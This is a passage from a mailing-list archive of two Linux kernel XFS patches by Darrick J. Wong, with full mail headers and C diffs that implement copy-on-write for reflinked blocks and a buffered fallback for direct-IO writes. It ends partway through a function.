ESMTP id t9750Kbq014071 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:00:21 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9750KNK006418 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:00:20 GMT Received: from abhmp0016.oracle.com (abhmp0016.oracle.com [141.146.116.22]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9750Kb2006929; Wed, 7 Oct 2015 05:00:20 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:00:20 -0700 Subject: [PATCH 47/58] xfs: handle directio copy-on-write for reflinked blocks From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 47/58] xfs: handle directio copy-on-write for reflinked blocks To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:00:18 -0700 Message-ID: <20151007050018.30457.90081.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194021 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines We hope that CoW writes will be rare and that directio CoW writes will be even more rare. Therefore, fall-back any such write to the buffered path. Signed-off-by: Darrick J. Wong --- fs/xfs/xfs_aops.c | 6 ++++++ fs/xfs/xfs_file.c | 12 ++++++++++-- fs/xfs/xfs_reflink.c | 34 ++++++++++++++++++++++++++++++++++ 3 files changed, 50 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index 06a1d2f..4ab24fa 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -1491,6 +1491,12 @@ __xfs_get_blocks( if (imap.br_startblock != HOLESTARTBLOCK && imap.br_startblock != DELAYSTARTBLOCK && (create || !ISUNWRITTEN(&imap))) { + if (create && direct) { + error = xfs_reflink_redirect_directio_write(ip, &imap, + offset); + if (error) + return error; + } xfs_map_buffer(inode, bh_result, &imap, offset); if (ISUNWRITTEN(&imap)) set_buffer_unwritten(bh_result); diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 593223f..fc5b9ea 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -876,10 +876,18 @@ xfs_file_write_iter( if (XFS_FORCED_SHUTDOWN(ip->i_mount)) return -EIO; - if ((iocb->ki_flags & IOCB_DIRECT) || IS_DAX(inode)) + /* + * Allow DIO to fall back to buffered *only* in the case that we're + * doing a reflink CoW. + */ + if ((iocb->ki_flags & IOCB_DIRECT) || IS_DAX(inode)) { ret = xfs_file_dio_aio_write(iocb, from); - else + if (ret == -EREMCHG) + goto buffered; + } else { +buffered: ret = xfs_file_buffered_aio_write(iocb, from); + } if (ret > 0) { ssize_t err; diff --git a/fs/xfs/xfs_reflink.c b/fs/xfs/xfs_reflink.c index 1e00be2..226e23f 100644 --- a/fs/xfs/xfs_reflink.c +++ b/fs/xfs/xfs_reflink.c @@ -407,6 +407,40 @@ advloop: } /** + * xfs_reflink_redirect_directio_write() - bounce a directio write to a + * reflinked region down to buffered + * write mode. + * + * @ip: XFS inode object + * @imap: the fileoff:fsblock mapping that we might fork + * @offset: the file byte offset of the block we're examining + */ +int +xfs_reflink_redirect_directio_write( + struct xfs_inode *ip, + struct xfs_bmbt_irec *imap, + xfs_off_t offset) +{ + bool type = false; + int error; + + error = xfs_reflink_should_fork_block(ip, imap, offset, &type); + if (error) + return error; + if (!type) + return 0; + + /* + * Are we doing a DIO write to a reflinked block? In the ideal world + * we at least would fork full blocks, but for now just fall back to + * buffered mode. Yuck. Use -EREMCHG ("remote address changed") to + * signal this, since in general XFS doesn't do this sort of fallback. + */ + trace_xfs_reflink_bounce_direct_write(ip, imap); + return -EREMCHG; +} + +/** * xfs_reflink_write_fork_block() -- find a remapping object and redirect the * write. * From darrick.wong@oracle.com Wed Oct 7 00:00:25 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E76547FAA for ; Wed, 7 Oct 2015 00:00:25 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9B09B8F8035 for ; Tue, 6 Oct 2015 22:00:25 -0700 (PDT) X-ASG-Debug-ID: 1444194020-04bdf020dd0e5c0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id lkAkIHfuR4sr07Rb (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:00:20 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9750Eib009093 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:00:15 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9750ErQ012034 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:00:14 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9750EkC022170; Wed, 7 Oct 2015 05:00:14 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:00:13 -0700 Subject: [PATCH 46/58] xfs: implement copy-on-write for reflinked blocks From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 46/58] xfs: implement copy-on-write for reflinked blocks To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:00:12 -0700 Message-ID: <20151007050012.30457.10608.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194020 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Implement a copy-on-write handler for the buffered write path. When writepages is called, allocate a new block (which we then tell the log that we intend to delete so that it's freed if we crash), and then write the buffer to the new block. Upon completion, remove the freed block intent from the log and remap the file so that the changes appear. Signed-off-by: Darrick J. Wong --- fs/xfs/Makefile | 1 fs/xfs/xfs_aops.c | 52 +++ fs/xfs/xfs_aops.h | 5 fs/xfs/xfs_file.c | 11 + fs/xfs/xfs_icache.c | 3 fs/xfs/xfs_inode.h | 2 fs/xfs/xfs_reflink.c | 756 ++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_reflink.h | 41 ++ fs/xfs/xfs_trans.h | 3 fs/xfs/xfs_trans_extfree.c | 27 ++ 10 files changed, 894 insertions(+), 7 deletions(-) create mode 100644 fs/xfs/xfs_reflink.c create mode 100644 fs/xfs/xfs_reflink.h diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index 3565db6..0b7fa41 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -88,6 +88,7 @@ xfs-y += xfs_aops.o \ xfs_message.o \ xfs_mount.o \ xfs_mru_cache.o \ + xfs_reflink.o \ xfs_super.o \ xfs_symlink.o \ xfs_sysfs.o \ diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index 50ab287..06a1d2f 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -31,6 +31,8 @@ #include "xfs_bmap.h" #include "xfs_bmap_util.h" #include "xfs_bmap_btree.h" +#include "xfs_reflink.h" +#include #include #include #include @@ -190,6 +192,8 @@ xfs_finish_ioend( if (ioend->io_type == XFS_IO_UNWRITTEN) queue_work(mp->m_unwritten_workqueue, &ioend->io_work); + else if (ioend->io_type == XFS_IO_FORKED) + queue_work(mp->m_cow_workqueue, &ioend->io_work); else if (ioend->io_append_trans) queue_work(mp->m_data_workqueue, &ioend->io_work); else @@ -212,6 +216,25 @@ xfs_end_io( ioend->io_error = -EIO; goto done; } + + /* + * If we forked the block, we need to remap the bmbt and possibly + * finish up the i_size transaction too... or clean up after a + * failed write. + */ + if (ioend->io_type == XFS_IO_FORKED) { + if (ioend->io_error) { + error = xfs_reflink_cancel_fork_ioend(ioend); + goto done; + } + error = xfs_reflink_fork_ioend(ioend); + if (error) + goto done; + if (ioend->io_append_trans) + error = xfs_setfilesize_ioend(ioend); + goto done; + } + if (ioend->io_error) goto done; @@ -266,6 +289,7 @@ xfs_alloc_ioend( ioend->io_append_trans = NULL; INIT_WORK(&ioend->io_work, xfs_end_io); + INIT_LIST_HEAD(&ioend->io_reflink_endio_list); return ioend; } @@ -547,6 +571,7 @@ xfs_cancel_ioend( } while ((bh = next_bh) != NULL); mempool_free(ioend, xfs_ioend_pool); + xfs_reflink_cancel_fork_ioend(ioend); } while ((ioend = next) != NULL); } @@ -563,7 +588,8 @@ xfs_add_to_ioend( xfs_off_t offset, unsigned int type, xfs_ioend_t **result, - int need_ioend) + int need_ioend, + struct xfs_reflink_ioend *eio) { xfs_ioend_t *ioend = *result; @@ -584,6 +610,8 @@ xfs_add_to_ioend( bh->b_private = NULL; ioend->io_size += bh->b_size; + if (eio) + xfs_reflink_add_ioend(ioend, eio); } STATIC void @@ -784,7 +812,7 @@ xfs_convert_page( if (type != XFS_IO_OVERWRITE) xfs_map_at_offset(inode, bh, imap, offset); xfs_add_to_ioend(inode, bh, offset, type, - ioendp, done); + ioendp, done, NULL); page_dirty--; count++; @@ -947,6 +975,8 @@ xfs_vm_writepage( int err, imap_valid = 0, uptodate = 1; int count = 0; int nonblocking = 0; + struct xfs_inode *ip = XFS_I(inode); + int err2 = 0; trace_xfs_writepage(inode, page, 0, 0); @@ -1115,11 +1145,15 @@ xfs_vm_writepage( imap_valid = xfs_imap_valid(inode, &imap, offset); } if (imap_valid) { + struct xfs_reflink_ioend *eio = NULL; + + err2 = xfs_reflink_write_fork_block(ip, &imap, offset, + &type, &eio); lock_buffer(bh); if (type != XFS_IO_OVERWRITE) xfs_map_at_offset(inode, bh, &imap, offset); xfs_add_to_ioend(inode, bh, offset, type, &ioend, - new_ioend); + new_ioend, eio); count++; } @@ -1133,6 +1167,9 @@ xfs_vm_writepage( xfs_start_page_writeback(page, 1, count); + if (err) + goto error; + /* if there is no IO to be submitted for this page, we are done */ if (!ioend) return 0; @@ -1167,8 +1204,9 @@ xfs_vm_writepage( /* * Reserve log space if we might write beyond the on-disk inode size. */ - err = 0; - if (ioend->io_type != XFS_IO_UNWRITTEN && xfs_ioend_is_append(ioend)) + err = err2; + if (!err && ioend->io_type != XFS_IO_UNWRITTEN && + xfs_ioend_is_append(ioend)) err = xfs_setfilesize_trans_alloc(ioend); xfs_submit_ioend(wbc, iohead, err); @@ -1818,6 +1856,10 @@ xfs_vm_write_begin( if (!page) return -ENOMEM; + status = xfs_reflink_reserve_fork_block(XFS_I(mapping->host), pos, len); + if (status) + return status; + status = __block_write_begin(page, pos, len, xfs_get_blocks); if (unlikely(status)) { struct inode *inode = mapping->host; diff --git a/fs/xfs/xfs_aops.h b/fs/xfs/xfs_aops.h index 86afd1a..9cf206a 100644 --- a/fs/xfs/xfs_aops.h +++ b/fs/xfs/xfs_aops.h @@ -27,12 +27,14 @@ enum { XFS_IO_DELALLOC, /* covers delalloc region */ XFS_IO_UNWRITTEN, /* covers allocated but uninitialized data */ XFS_IO_OVERWRITE, /* covers already allocated extent */ + XFS_IO_FORKED, /* covers copy-on-write region */ }; #define XFS_IO_TYPES \ { XFS_IO_DELALLOC, "delalloc" }, \ { XFS_IO_UNWRITTEN, "unwritten" }, \ - { XFS_IO_OVERWRITE, "overwrite" } + { XFS_IO_OVERWRITE, "overwrite" }, \ + { XFS_IO_FORKED, "forked" } /* * xfs_ioend struct manages large extent writes for XFS. @@ -50,6 +52,7 @@ typedef struct xfs_ioend { xfs_off_t io_offset; /* offset in the file */ struct work_struct io_work; /* xfsdatad work queue */ struct xfs_trans *io_append_trans;/* xact. for size update */ + struct list_head io_reflink_endio_list;/* remappings for CoW */ } xfs_ioend_t; extern const struct address_space_operations xfs_address_space_operations; diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index e78feb4..593223f 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -37,6 +37,7 @@ #include "xfs_log.h" #include "xfs_icache.h" #include "xfs_pnfs.h" +#include "xfs_reflink.h" #include #include @@ -1502,6 +1503,14 @@ xfs_filemap_page_mkwrite( file_update_time(vma->vm_file); xfs_ilock(XFS_I(inode), XFS_MMAPLOCK_SHARED); + /* Set up the remapping for a CoW mmap'd page */ + ret = xfs_reflink_reserve_fork_block(XFS_I(inode), + vmf->page->index << PAGE_CACHE_SHIFT, PAGE_CACHE_SIZE); + if (ret) { + ret = block_page_mkwrite_return(ret); + goto out; + } + if (IS_DAX(inode)) { ret = __dax_mkwrite(vma, vmf, xfs_get_blocks_direct, xfs_end_io_dax_write); @@ -1509,7 +1518,7 @@ xfs_filemap_page_mkwrite( ret = __block_page_mkwrite(vma, vmf, xfs_get_blocks); ret = block_page_mkwrite_return(ret); } - +out: xfs_iunlock(XFS_I(inode), XFS_MMAPLOCK_SHARED); sb_end_pagefault(inode->i_sb); diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index 0a326bd..c409576 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -33,6 +33,7 @@ #include "xfs_bmap_util.h" #include "xfs_dquot_item.h" #include "xfs_dquot.h" +#include "xfs_reflink.h" #include #include @@ -80,6 +81,7 @@ xfs_inode_alloc( ip->i_flags = 0; ip->i_delayed_blks = 0; memset(&ip->i_d, 0, sizeof(xfs_icdinode_t)); + ip->i_remaps = RB_ROOT; return ip; } @@ -115,6 +117,7 @@ xfs_inode_free( ip->i_itemp = NULL; } + xfs_reflink_cancel_fork_blocks(ip); /* * Because we use RCU freeing we need to ensure the inode always * appears to be reclaimed with an invalid inode number when in the diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index 6436a96..f4cf967 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -65,6 +65,8 @@ typedef struct xfs_inode { xfs_icdinode_t i_d; /* most of ondisk inode */ + struct rb_root i_remaps; /* CoW remappings in progress */ + /* VFS inode */ struct inode i_vnode; /* embedded VFS inode */ } xfs_inode_t; diff --git a/fs/xfs/xfs_reflink.c b/fs/xfs/xfs_reflink.c new file mode 100644 index 0000000..1e00be2 --- /dev/null +++ b/fs/xfs/xfs_reflink.c @@ -0,0 +1,756 @@ +/* + * Copyright (c) 2015 Oracle. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" +#include "xfs_mount.h" +#include "xfs_da_format.h" +#include "xfs_da_btree.h" +#include "xfs_inode.h" +#include "xfs_trans.h" +#include "xfs_inode_item.h" +#include "xfs_bmap.h" +#include "xfs_bmap_util.h" +#include "xfs_error.h" +#include "xfs_dir2.h" +#include "xfs_dir2_priv.h" +#include "xfs_ioctl.h" +#include "xfs_trace.h" +#include "xfs_log.h" +#include "xfs_icache.h" +#include "xfs_pnfs.h" +#include "xfs_refcount_btree.h" +#include "xfs_refcount.h" +#include "xfs_bmap_btree.h" +#include "xfs_trans_space.h" +#include "xfs_bit.h" +#include "xfs_alloc.h" +#include "xfs_quota_defs.h" +#include "xfs_quota.h" +#include "xfs_btree.h" +#include "xfs_bmap_btree.h" +#include "xfs_reflink.h" + +#define CHECK_AG_NUMBER(mp, agno) \ + do { \ + ASSERT((agno) != NULLAGNUMBER); \ + ASSERT((agno) < (mp)->m_sb.sb_agcount); \ + } while (0) + +#define CHECK_AG_EXTENT(mp, agbno, len) \ + do { \ + ASSERT((agbno) != NULLAGBLOCK); \ + ASSERT((len) > 0); \ + ASSERT((unsigned long long)(agbno) + (len) <= \ + (mp)->m_sb.sb_agblocks); \ + } while (0) + +struct xfs_reflink_ioend { + struct rb_node rlei_node; /* tree of pending remappings */ + struct list_head rlei_list; /* list of reflink ioends */ + struct xfs_bmbt_irec rlei_mapping; /* new bmbt mapping to put in */ + struct xfs_efi_log_item *rlei_efi; /* efi log item to cancel */ + xfs_fsblock_t rlei_oldfsbno; /* old fsbno */ +}; + +/** + * xfs_reflink_get_refcount() - get refcount and extent length for a given pblk + * + * @mp: XFS mount object + * @agno: AG number + * @agbno: AG block number + * @len: length of extent + * @nr: refcount + */ +int +xfs_reflink_get_refcount( + struct xfs_mount *mp, + xfs_agnumber_t agno, + xfs_agblock_t agbno, + xfs_extlen_t *len, + xfs_nlink_t *nr) +{ + struct xfs_btree_cur *cur; + struct xfs_buf *agbp; + struct xfs_refcount_irec tmp; + xfs_extlen_t aglen; + int error; + int i, have; + int bt_error; + + if (!xfs_sb_version_hasreflink(&mp->m_sb)) { + *len = 0; + *nr = 1; + return 0; + } + + error = xfs_alloc_read_agf(mp, NULL, agno, 0, &agbp); + if (error) + return error; + aglen = be32_to_cpu(XFS_BUF_TO_AGF(agbp)->agf_length); + ASSERT(agbno < aglen); + + /* + * See if there's an extent covering the block we want. + */ + bt_error = XFS_BTREE_ERROR; + cur = xfs_refcountbt_init_cursor(mp, NULL, agbp, agno, NULL); + error = xfs_refcountbt_lookup_le(cur, agbno, &have); + if (error) + goto out_error; + if (!have) + goto hole; + error = xfs_refcountbt_get_rec(cur, &tmp, &i); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); + if (tmp.rc_startblock + tmp.rc_blockcount <= agbno) + goto hole; + + *len = tmp.rc_blockcount - (agbno - tmp.rc_startblock); + *nr = tmp.rc_refcount; + goto out; + +hole: + /* + * We're in a hole, so pretend that this we have a refcount=1 extent + * going to the next rlextent or the end of the AG. + */ + error = xfs_btree_increment(cur, 0, &have); + if (error) + goto out_error; + if (!have) + *len = aglen - agbno; + else { + error = xfs_refcountbt_get_rec(cur, &tmp, &i); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); + *len = tmp.rc_startblock - agbno; + } + *nr = 1; + +out: + bt_error = XFS_BTREE_NOERROR; +out_error: + xfs_btree_del_cursor(cur, bt_error); + xfs_buf_relse(agbp); + return error; +} + +/* + * Allocate a replacement block for a copy-on-write operation. + * + * XXX: Ideally we'd scan up and down the incore extent list + * looking for a block, but do this stupid thing for now. + */ +STATIC int +fork_one_block( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_inode *ip, + xfs_fsblock_t old, + xfs_fsblock_t *new, + xfs_fileoff_t offset) +{ + int error; + struct xfs_alloc_arg args; /* allocation arguments */ + + memset(&args, 0, sizeof(args)); + args.tp = tp; + args.mp = mp; + args.type = XFS_ALLOCTYPE_NEAR_BNO; + args.firstblock = args.fsbno = old; + args.minlen = args.maxlen = args.prod = 1; + args.userdata = XFS_ALLOC_USERDATA; + error = xfs_alloc_vextent(&args); + if (error) + goto out_error; + ASSERT(args.len == 1); + ASSERT(args.fsbno != old); + *new = args.fsbno; + +out_error: + return error; +} + +/* Compare two reflink ioend structures */ +STATIC int +ioend_compare( + struct xfs_reflink_ioend *i1, + struct xfs_reflink_ioend *i2) +{ + if (i1->rlei_mapping.br_startoff > i2->rlei_mapping.br_startoff) + return 1; + if (i1->rlei_mapping.br_startoff < i2->rlei_mapping.br_startoff) + return -1; + return 0; +} + +/* Attach a remapping object to an inode. */ +STATIC int +remap_insert( + struct xfs_inode *ip, + struct xfs_reflink_ioend *eio) +{ + struct rb_node **new = &(ip->i_remaps.rb_node); + struct rb_node *parent = NULL; + struct xfs_reflink_ioend *this; + int result; + + /* Figure out where to put new node */ + while (*new) { + this = rb_entry(*new, struct xfs_reflink_ioend, rlei_node); + result = ioend_compare(eio, this); + + parent = *new; + if (result < 0) + new = &((*new)->rb_left); + else if (result > 0) + new = &((*new)->rb_right); + else + return -EEXIST; + } + + /* Add new node and rebalance tree. */ + rb_link_node(&eio->rlei_node, parent, new); + rb_insert_color(&eio->rlei_node, &ip->i_remaps); + + return 0; +} + +/* Find a remapping object for a block in an inode */ +STATIC int +remap_search( + struct xfs_inode *ip, + xfs_fileoff_t fsbno, + struct xfs_reflink_ioend **peio) +{ + struct rb_node *node = ip->i_remaps.rb_node; + struct xfs_reflink_ioend *data; + int result; + struct xfs_reflink_ioend f; + + f.rlei_mapping.br_startoff = fsbno; + while (node) { + data = rb_entry(node, struct xfs_reflink_ioend, rlei_node); + result = ioend_compare(&f, data); + + if (result < 0) + node = node->rb_left; + else if (result > 0) + node = node->rb_right; + else { + *peio = data; + return 0; + } + } + + return -ENOENT; +} + +/* Allocate a block to handle a copy on write later. */ +STATIC int +__reserve_fork_block( + struct xfs_inode *ip, + struct xfs_bmbt_irec *imap, + xfs_off_t offset) +{ + xfs_fsblock_t fsbno; + xfs_fsblock_t new_fsbno; + xfs_off_t iomap_offset; + xfs_agnumber_t agno; /* allocation group number */ + xfs_agblock_t agbno; /* ag start of range to free */ + struct xfs_trans *tp = NULL; + int error; + struct xfs_reflink_ioend *eio; + struct xfs_mount *mp = ip->i_mount; + + ASSERT(xfs_is_reflink_inode(ip)); + iomap_offset = XFS_FSB_TO_B(mp, imap->br_startoff); + fsbno = imap->br_startblock + XFS_B_TO_FSB(mp, offset - iomap_offset); + agno = XFS_FSB_TO_AGNO(mp, fsbno); + agbno = XFS_FSB_TO_AGBNO(mp, fsbno); + CHECK_AG_NUMBER(mp, agno); + CHECK_AG_EXTENT(mp, agbno, 1); + ASSERT(imap->br_state == XFS_EXT_NORM); + + /* If we've already got a remapping, we're done. */ + error = remap_search(ip, XFS_B_TO_FSB(mp, offset), &eio); + if (!error) + return 0; + + /* + * Ok, we have to fork this block. Allocate a replacement block, + * stash the new mapping, and add an EFI entry for recovery. When + * the (redirected) IO completes, we'll deal with remapping. + */ + tp = xfs_trans_alloc(mp, XFS_TRANS_STRAT_WRITE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, + XFS_DIOSTRAT_SPACE_RES(mp, 2), 0); + if (error) + goto out_cancel; + + error = fork_one_block(mp, tp, ip, fsbno, &new_fsbno, + XFS_B_TO_FSB(mp, offset)); + if (error) + goto out_cancel; + + trace_xfs_reflink_reserve_fork_block(ip, XFS_B_TO_FSB(mp, offset), + fsbno, 1, new_fsbno); + + eio = kmem_zalloc(sizeof(*eio), KM_SLEEP | KM_NOFS); + eio->rlei_mapping.br_startblock = new_fsbno; + eio->rlei_mapping.br_startoff = XFS_B_TO_FSB(mp, offset); + eio->rlei_mapping.br_blockcount = 1; + eio->rlei_mapping.br_state = XFS_EXT_NORM; + eio->rlei_oldfsbno = fsbno; + eio->rlei_efi = xfs_trans_get_efi(tp, 1); + xfs_trans_log_efi_extent(tp, eio->rlei_efi, new_fsbno, 1); + + error = remap_insert(ip, eio); + if (error) + goto out_cancel; + + /* + * ...and we're done. + */ + error = xfs_trans_commit(tp); + if (error) + goto out_error; + + return error; + +out_cancel: + xfs_trans_cancel(tp); +out_error: + trace_xfs_reflink_reserve_fork_block_error(ip, error, _RET_IP_); + return error; +} + +/** + * xfs_reflink_reserve_fork_block() -- Allocate blocks to satisfy a copy on + * write operation. + * @ip: XFS inode + * @pos: file offset to start forking + * @len: number of bytes to fork + */ +int +xfs_reflink_reserve_fork_block( + struct xfs_inode *ip, + xfs_off_t pos, + xfs_off_t len) +{ + struct xfs_bmbt_irec imap; + int nimaps; + int error; + xfs_fileoff_t lblk; + xfs_fileoff_t next_lblk; + xfs_off_t offset; + bool type; + + if (!xfs_is_reflink_inode(ip)) + return 0; + + trace_xfs_reflink_force_getblocks(ip, len, pos, 0); + + error = 0; + lblk = XFS_B_TO_FSBT(ip->i_mount, pos); + next_lblk = 1 + XFS_B_TO_FSBT(ip->i_mount, pos + len - 1); + while (lblk < next_lblk) { + offset = XFS_FSB_TO_B(ip->i_mount, lblk); + /* Read extent from the source file */ + nimaps = 1; + xfs_ilock(ip, XFS_ILOCK_EXCL); + error = xfs_bmapi_read(ip, lblk, next_lblk - lblk, &imap, + &nimaps, 0); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + if (error) + break; + + if (nimaps == 0) + break; + + error = xfs_reflink_should_fork_block(ip, &imap, offset, &type); + if (error) + break; + if (!type) + goto advloop; + + error = __reserve_fork_block(ip, &imap, offset); + if (error) + break; + +advloop: + lblk += imap.br_blockcount; + } + + return error; +} + +/** + * xfs_reflink_write_fork_block() -- find a remapping object and redirect the + * write. + * + * @ip: XFS inode + * @offset: file offset we're trying to write + * @imap: the mapping for this block (I/O) + * @type: the io type (I/O) + * @peio: pointer to a reflink ioend; caller must attach to an ioend (O) + */ +int +xfs_reflink_write_fork_block( + struct xfs_inode *ip, + struct xfs_bmbt_irec *imap, + xfs_off_t offset, + unsigned int *type, + struct xfs_reflink_ioend **peio) +{ + int error; + struct xfs_reflink_ioend *eio = NULL; + + if (!xfs_is_reflink_inode(ip)) + return 0; + if (*type == XFS_IO_DELALLOC || *type == XFS_IO_UNWRITTEN) + return 0; + + error = remap_search(ip, XFS_B_TO_FSB(ip->i_mount, offset), &eio); + if (error == -ENOENT) + return 0; + else if (error) { + trace_xfs_reflink_write_fork_block_error(ip, error, _RET_IP_); + return error; + } + + trace_xfs_reflink_write_fork_block(ip, eio->rlei_mapping.br_startoff, + eio->rlei_oldfsbno, 1, eio->rlei_mapping.br_startblock); + + *imap = eio->rlei_mapping; + *type = XFS_IO_FORKED; + *peio = eio; + return 0; +} + +/* Remap a range of file blocks after forking. */ +STATIC int +xfs_reflink_remap_after_io( + struct xfs_mount *mp, + struct xfs_inode *ip, + struct xfs_reflink_ioend *eio) +{ + struct xfs_trans *tp = NULL; + int error; + xfs_agnumber_t agno; /* allocation group number */ + xfs_agblock_t agbno; /* ag start of range to free */ + xfs_fsblock_t firstfsb; + int committed; + struct xfs_bmbt_irec imaps[1]; + int nimaps = 1; + int done; + struct xfs_bmap_free free_list; + struct xfs_bmbt_irec *imap = &eio->rlei_mapping; + struct xfs_efd_log_item *efd; + unsigned int resblks; + + ASSERT(xfs_is_reflink_inode(ip)); + agno = XFS_FSB_TO_AGNO(mp, imap->br_startblock); + agbno = XFS_FSB_TO_AGBNO(mp, imap->br_startblock); + CHECK_AG_NUMBER(mp, agno); + CHECK_AG_EXTENT(mp, agbno, 1); + ASSERT(imap->br_state == XFS_EXT_NORM); + + trace_xfs_reflink_remap_after_io(ip, imap->br_startoff, + eio->rlei_oldfsbno, 